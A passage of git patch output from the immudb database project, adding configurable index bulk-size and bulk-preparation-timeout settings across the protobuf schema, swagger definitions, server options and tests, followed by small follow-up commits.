immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 98, // 254: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 131, // 255: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 72, // 256: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 68, // 257: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 74, // 258: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 92, // 259: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 131, // 260: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 105, // 261: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 262: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 105, // 263: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 38, // 264: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 105, // 265: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 105, // 266: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 105, // 267: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 268: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 105, // 269: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 270: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 110, // 271: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 112, // 272: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 112, // 273: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 112, // 274: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 97, // 275: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 206, // [206:276] is the sub-list for method output_type - 136, // [136:206] is the sub-list for method input_type - 136, // [136:136] is the sub-list for extension type_name - 136, // [136:136] is the sub-list for extension extendee - 0, // [0:136] is the sub-list for field type_name + 75, // 104: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 + 80, // 105: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds + 75, // 106: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 107: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 115, // 108: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue + 94, // 109: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest + 36, // 110: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata + 96, // 111: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry + 38, // 112: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 40, // 113: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 124, // 114: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + 125, // 115: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + 126, // 116: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + 127, // 117: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + 1, // 118: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction + 67, // 119: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database + 104, // 120: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings + 81, // 121: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings + 109, // 122: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 109, // 123: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 115, // 124: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 111, // 125: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 29, // 126: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 128, // 127: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 129, // 128: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 113, // 129: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 114, // 130: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 115, // 131: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 130, // 132: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 2, // 133: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 76, // 134: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 + 80, // 135: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds + 115, // 136: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 115, // 137: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 131, // 138: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 139: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 140: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 99, // 141: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 100, // 142: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 143: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 144: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 145: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 131, // 146: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 131, // 147: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 116, // 148: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 131, // 149: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 131, // 150: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 107, // 151: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 152: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 153: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 131, // 154: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 41, // 155: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 45, // 156: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 42, // 157: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 46, // 158: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 44, // 159: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 43, // 160: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 161: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 162: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 163: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 131, // 164: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 59, // 165: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 62, // 166: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 63, // 167: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 57, // 168: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 47, // 169: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 131, // 170: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 131, // 171: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 131, // 172: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 52, // 173: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 53, // 174: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 54, // 175: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 58, // 176: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 56, // 177: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 67, // 178: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 68, // 179: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 69, // 180: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 85, // 181: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 87, // 182: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 89, // 183: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 131, // 184: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 102, // 185: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 67, // 186: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 68, // 187: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 71, // 188: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 131, // 189: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 73, // 190: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 91, // 191: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 131, // 192: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 42, // 193: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 105, // 194: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 46, // 195: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 105, // 196: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 197: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 56, // 198: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 57, // 199: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 105, // 200: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 65, // 201: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 105, // 202: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 107, // 203: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 204: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 131, // 205: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 93, // 206: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 95, // 207: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 6, // 208: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 131, // 209: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 131, // 210: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 131, // 211: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 131, // 212: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 131, // 213: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 131, // 214: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 215: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 131, // 216: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 131, // 217: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 117, // 218: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 111, // 219: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 131, // 220: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 131, // 221: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 112, // 222: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 223: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 131, // 224: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 225: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 38, // 226: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 227: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 39, // 228: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 229: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 230: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 231: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 232: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 233: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 234: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 34, // 235: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 38, // 236: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 64, // 237: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 238: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 48, // 239: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 49, // 240: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 50, // 241: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 51, // 242: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 243: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 38, // 244: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 245: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 38, // 246: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 247: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 131, // 248: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 131, // 249: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 70, // 250: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 86, // 251: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 88, // 252: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 90, // 253: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 101, // 254: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 103, // 255: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 98, // 256: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 131, // 257: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 72, // 258: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 68, // 259: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 74, // 260: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 92, // 261: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 131, // 262: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 105, // 263: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 264: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 105, // 265: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 38, // 266: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 105, // 267: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 105, // 268: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 105, // 269: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 270: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 105, // 271: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 272: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 110, // 273: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 112, // 274: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 112, // 275: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 112, // 276: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 97, // 277: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 208, // [208:278] is the sub-list for method output_type + 138, // [138:208] is the sub-list for method input_type + 138, // [138:138] is the sub-list for extension type_name + 138, // [138:138] is the sub-list for extension extendee + 0, // [0:138] is the sub-list for field type_name } func init() { file_schema_proto_init() } diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 65bdd5e538..e624e37a4e 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1104,6 +1104,12 @@ message IndexNullableSettings { // Percentage of node files cleaned up during each flush NullableFloat cleanupPercentage = 13; + + // Maximum number of transactions indexed together + NullableUint32 maxBulkSize = 14; + + // Maximum time waiting for more transactions to be committed and included into the same bulk + NullableMilliseconds bulkPreparationTimeout = 15; } message AHTNullableSettings { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 7e8e500a5c..66171e5cca 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -2569,6 +2569,14 @@ "cleanupPercentage": { "$ref": "#/definitions/schemaNullableFloat", "title": "Percentage of node files cleaned up during each flush" + }, + "maxBulkSize": { + "$ref": "#/definitions/schemaNullableUint32", + "title": "Maximum number of transactions indexed together" + }, + "bulkPreparationTimeout": { + "$ref": "#/definitions/schemaNullableMilliseconds", + "title": "Maximum time waiting for more transactions to be committed and included into the same bulk" } } }, diff --git a/pkg/integration/database_creation_test.go b/pkg/integration/database_creation_test.go index fe8957ff8d..6ec7afd562 100644 --- a/pkg/integration/database_creation_test.go +++ b/pkg/integration/database_creation_test.go @@ -87,6 +87,8 @@ func TestCreateDatabaseV2(t *testing.T) { NodesLogMaxOpenedFiles: &schema.NullableUint32{Value: 20}, HistoryLogMaxOpenedFiles: &schema.NullableUint32{Value: 15}, CommitLogMaxOpenedFiles: &schema.NullableUint32{Value: 3}, + MaxBulkSize: &schema.NullableUint32{Value: 35}, + BulkPreparationTimeout: &schema.NullableMilliseconds{Value: 150}, }, AhtSettings: &schema.AHTNullableSettings{ SyncThreshold: &schema.NullableUint32{Value: 10_000}, @@ -130,6 +132,8 @@ func TestCreateDatabaseV2(t *testing.T) { require.Equal(t, dbNullableSettings.IndexSettings.NodesLogMaxOpenedFiles.Value, res.Settings.IndexSettings.NodesLogMaxOpenedFiles.Value) require.Equal(t, dbNullableSettings.IndexSettings.HistoryLogMaxOpenedFiles.Value, res.Settings.IndexSettings.HistoryLogMaxOpenedFiles.Value) require.Equal(t, dbNullableSettings.IndexSettings.CommitLogMaxOpenedFiles.Value, res.Settings.IndexSettings.CommitLogMaxOpenedFiles.Value) + require.Equal(t, dbNullableSettings.IndexSettings.MaxBulkSize.Value, res.Settings.IndexSettings.MaxBulkSize.Value) + require.Equal(t, dbNullableSettings.IndexSettings.BulkPreparationTimeout.Value, res.Settings.IndexSettings.BulkPreparationTimeout.Value) require.Equal(t, dbNullableSettings.AhtSettings.SyncThreshold.Value, res.Settings.AhtSettings.SyncThreshold.Value) require.Equal(t, dbNullableSettings.AhtSettings.WriteBufferSize.Value, res.Settings.AhtSettings.WriteBufferSize.Value) diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 97791b67c8..fcb9cc01d8 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -99,19 +99,21 @@ func (fs featureState) isEnabled() bool { } type indexOptions struct { - FlushThreshold int `json:"flushThreshold"` - SyncThreshold int `json:"syncThreshold"` - FlushBufferSize int `json:"flushBufferSize"` - CleanupPercentage float32 `json:"cleanupPercentage"` - CacheSize int `json:"cacheSize"` - MaxNodeSize int `json:"maxNodeSize"` // permanent - MaxActiveSnapshots int `json:"maxActiveSnapshots"` - RenewSnapRootAfter int64 `json:"renewSnapRootAfter"` // ms - CompactionThld int `json:"compactionThld"` - DelayDuringCompaction int64 `json:"delayDuringCompaction"` // ms - NodesLogMaxOpenedFiles int `json:"nodesLogMaxOpenedFiles"` - HistoryLogMaxOpenedFiles int `json:"historyLogMaxOpenedFiles"` - CommitLogMaxOpenedFiles int `json:"commitLogMaxOpenedFiles"` + FlushThreshold int `json:"flushThreshold"` + SyncThreshold int `json:"syncThreshold"` + FlushBufferSize int `json:"flushBufferSize"` + CleanupPercentage float32 `json:"cleanupPercentage"` + CacheSize int `json:"cacheSize"` + MaxNodeSize int `json:"maxNodeSize"` // permanent + MaxActiveSnapshots int `json:"maxActiveSnapshots"` + RenewSnapRootAfter int64 `json:"renewSnapRootAfter"` // ms + CompactionThld int `json:"compactionThld"` + DelayDuringCompaction int64 `json:"delayDuringCompaction"` // ms + NodesLogMaxOpenedFiles int `json:"nodesLogMaxOpenedFiles"` + HistoryLogMaxOpenedFiles int `json:"historyLogMaxOpenedFiles"` + CommitLogMaxOpenedFiles int `json:"commitLogMaxOpenedFiles"` + MaxBulkSize int `json:"maxBulkSize"` + BulkPreparationTimeout Milliseconds `json:"bulkPreparationTimeout"` // ms } type ahtOptions struct { @@ -196,6 +198,8 @@ func (s *ImmuServer) defaultIndexOptions() *indexOptions { NodesLogMaxOpenedFiles: tbtree.DefaultNodesLogMaxOpenedFiles, HistoryLogMaxOpenedFiles: tbtree.DefaultHistoryLogMaxOpenedFiles, CommitLogMaxOpenedFiles: tbtree.DefaultCommitLogMaxOpenedFiles, + MaxBulkSize: store.DefaultIndexingMaxBulkSize, + BulkPreparationTimeout: Milliseconds(store.DefaultBulkPreparationTimeout.Milliseconds()), } } @@ -233,7 +237,9 @@ func (opts *dbOptions) storeOptions() *store.Options { WithDelayDuringCompaction(time.Millisecond * time.Duration(opts.IndexOptions.DelayDuringCompaction)). WithNodesLogMaxOpenedFiles(opts.IndexOptions.NodesLogMaxOpenedFiles). WithHistoryLogMaxOpenedFiles(opts.IndexOptions.HistoryLogMaxOpenedFiles). - WithCommitLogMaxOpenedFiles(opts.IndexOptions.CommitLogMaxOpenedFiles) + WithCommitLogMaxOpenedFiles(opts.IndexOptions.CommitLogMaxOpenedFiles). + WithMaxBulkSize(opts.IndexOptions.MaxBulkSize). + WithBulkPreparationTimeout(time.Millisecond * time.Duration(opts.IndexOptions.BulkPreparationTimeout)) } ahtOpts := store.DefaultAHTOptions() @@ -324,6 +330,8 @@ func (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettin NodesLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.IndexOptions.NodesLogMaxOpenedFiles)}, HistoryLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.IndexOptions.HistoryLogMaxOpenedFiles)}, CommitLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.IndexOptions.CommitLogMaxOpenedFiles)}, + MaxBulkSize: &schema.NullableUint32{Value: uint32(opts.IndexOptions.MaxBulkSize)}, + BulkPreparationTimeout: &schema.NullableMilliseconds{Value: int64(opts.IndexOptions.BulkPreparationTimeout)}, }, AhtSettings: &schema.AHTNullableSettings{ @@ -591,6 +599,12 @@ func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNul if settings.IndexSettings.CommitLogMaxOpenedFiles != nil { opts.IndexOptions.CommitLogMaxOpenedFiles = int(settings.IndexSettings.CommitLogMaxOpenedFiles.Value) } + if settings.IndexSettings.MaxBulkSize != nil { + opts.IndexOptions.MaxBulkSize = int(settings.IndexSettings.MaxBulkSize.Value) + } + if settings.IndexSettings.BulkPreparationTimeout != nil { + opts.IndexOptions.BulkPreparationTimeout = Milliseconds(settings.IndexSettings.BulkPreparationTimeout.Value) + } } // aht options @@ -822,6 +836,8 @@ func (s *ImmuServer) logDBOptions(database string, opts *dbOptions) { s.Logger.Infof("%s.IndexOptions.NodesLogMaxOpenedFiles: %v", database, opts.IndexOptions.NodesLogMaxOpenedFiles) s.Logger.Infof("%s.IndexOptions.HistoryLogMaxOpenedFiles: %v", database, opts.IndexOptions.HistoryLogMaxOpenedFiles) s.Logger.Infof("%s.IndexOptions.CommitLogMaxOpenedFiles: %v", database, opts.IndexOptions.CommitLogMaxOpenedFiles) + s.Logger.Infof("%s.IndexOptions.MaxBulkSize: %v", database, opts.IndexOptions.MaxBulkSize) + s.Logger.Infof("%s.IndexOptions.BulkPreparationTimeout: %v", database, opts.IndexOptions.BulkPreparationTimeout) s.Logger.Infof("%s.AHTOptions.SyncThreshold: %v", database, opts.AHTOptions.SyncThreshold) s.Logger.Infof("%s.AHTOptions.WriteBufferSize: %v", database, opts.AHTOptions.WriteBufferSize) } From eaa0f723f068b46cd6913460cf5a88caa043c83c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 5 Jan 2023 15:36:59 -0300 Subject: [PATCH 0134/1062] chore(embedded/store): set smaller default value for indexing bulk size Signed-off-by: Jeronimo Irazabal --- embedded/store/options.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/store/options.go b/embedded/store/options.go index e4a65075a9..57a2317cd4 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -47,7 +47,7 @@ const DefaultTxLogMaxOpenedFiles = 10 const DefaultCommitLogMaxOpenedFiles = 10 const DefaultWriteTxHeaderVersion = MaxTxHeaderVersion const DefaultWriteBufferSize = 1 << 22 //4Mb -const DefaultIndexingMaxBulkSize = DefaultMaxActiveTransactions +const DefaultIndexingMaxBulkSize = 1 const DefaultBulkPreparationTimeout = DefaultSyncFrequency const MaxFileSize = (1 << 31) - 1 // 2Gb From f4b49aa1d14148ee63e5184de1affbed2b220e8c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 13 Jan 2023 08:29:31 -0300 Subject: [PATCH 0135/1062] chore(embedded/store): inline comments Signed-off-by: Jeronimo Irazabal --- embedded/store/indexer.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 473bb76809..565ae5530f 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -505,6 +505,9 @@ func (idx *indexer) indexSince(txID uint64) error { var err error if indexableEntries == 0 { + // if there are no entries to be indexed, the logical time in the tree + // is still moved forward to indicate up to what point has transaction + // indexing been completed err = idx.index.IncreaseTs(txID + uint64(bulkSize-1)) } else { err = idx.index.BulkInsert(idx._kvs[:indexableEntries]) From 8ca12c7dc4d6c99ed42d15f464d4145369adf889 Mon Sep 17 00:00:00 2001 From: Eng Zer Jun Date: Sat, 14 Jan 2023 16:35:42 +0800 Subject: [PATCH 0136/1062] test: use `T.TempDir` to create temporary test directory This commit replaces `ioutil.TempDir` with `t.TempDir` in tests. The directory created by `t.TempDir` is automatically removed when the test and all its subtests complete. Prior to this commit, temporary directory created using `ioutil.TempDir` needs to be removed manually by calling `os.RemoveAll`, which is omitted in some tests. The error handling boilerplate e.g. defer func() { if err := os.RemoveAll(dir); err != nil { t.Fatal(err) } } is also tedious, but `t.TempDir` handles this for us nicely. Reference: https://pkg.go.dev/testing#T.TempDir Signed-off-by: Eng Zer Jun --- .../appendable/remoteapp/remote_app_test.go | 53 +++--------- 